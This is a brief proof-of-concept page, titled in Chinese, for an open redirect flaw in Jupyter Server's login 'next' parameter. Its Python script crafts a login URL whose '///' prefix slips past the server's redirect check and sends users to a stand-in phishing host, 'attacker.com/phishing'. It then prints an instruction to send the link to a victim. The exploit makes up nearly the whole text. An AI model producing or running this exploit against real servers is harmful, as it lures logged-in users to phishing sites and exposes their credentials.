CVE-2025-61669 Jupyter Server 开放重定向漏洞

# PoC for CVE-2025-61669: Jupyter Server Open Redirect # This script generates a malicious URL to exploit the unsafe redirect. import urllib.parse def generate_poc(base_url, redirect_target): """ Generates a malicious login URL exploiting the 'next' parameter vulnerability. The '///' prefix bypasses the validation in _redirect_safe(). """ # Vulnerable payload format payload = f"///{redirect_target}" # Construct the full URL full_url = f"{base_url}?next={urllib.parse.quote(payload)}" return full_url if __name__ == "__main__": target = "http://localhost:8888/login" evil_site = "attacker.com/phishing" exploit_url = generate_poc(target, evil_site) print(f"[+] Exploit URL: {exploit_url}") print("[+] Send this URL to a victim. After they log in, they will be redirected to the attacker's site.")